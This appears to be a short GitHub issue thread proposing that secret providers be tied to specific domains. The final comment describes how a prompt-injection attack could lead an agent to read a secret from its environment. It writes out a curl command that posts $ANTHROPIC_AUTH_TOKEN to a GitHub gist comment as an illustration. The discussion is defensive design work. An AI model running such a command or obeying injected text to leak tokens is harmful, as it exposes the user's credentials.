Improvements to Providers

[drew]

Currently a placeholder. TODO: fill this out with more detail.

[johntmyers]

Relevant topics:

#564

#541

[jeremyjh]

Another nice feature building on #541 would be to link specific providers to specific domains, so that secrets can only be injected into network requests to that particular provider. Otherwise, as I understand it a prompt injection attack could exfiltrate secrets by, for example, reading the placeholder from environment and including them in a post body for something like a gist comment:

curl -L \
  -X POST \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer $GITHUB_TOKEN" \
  -H "X-GitHub-Api-Version: 2026-03-10" \
  https://api.github.com/gists/some_gist_id/comments \
  -d '{"body":"$ANTHROPIC_AUTH_TOKEN"}'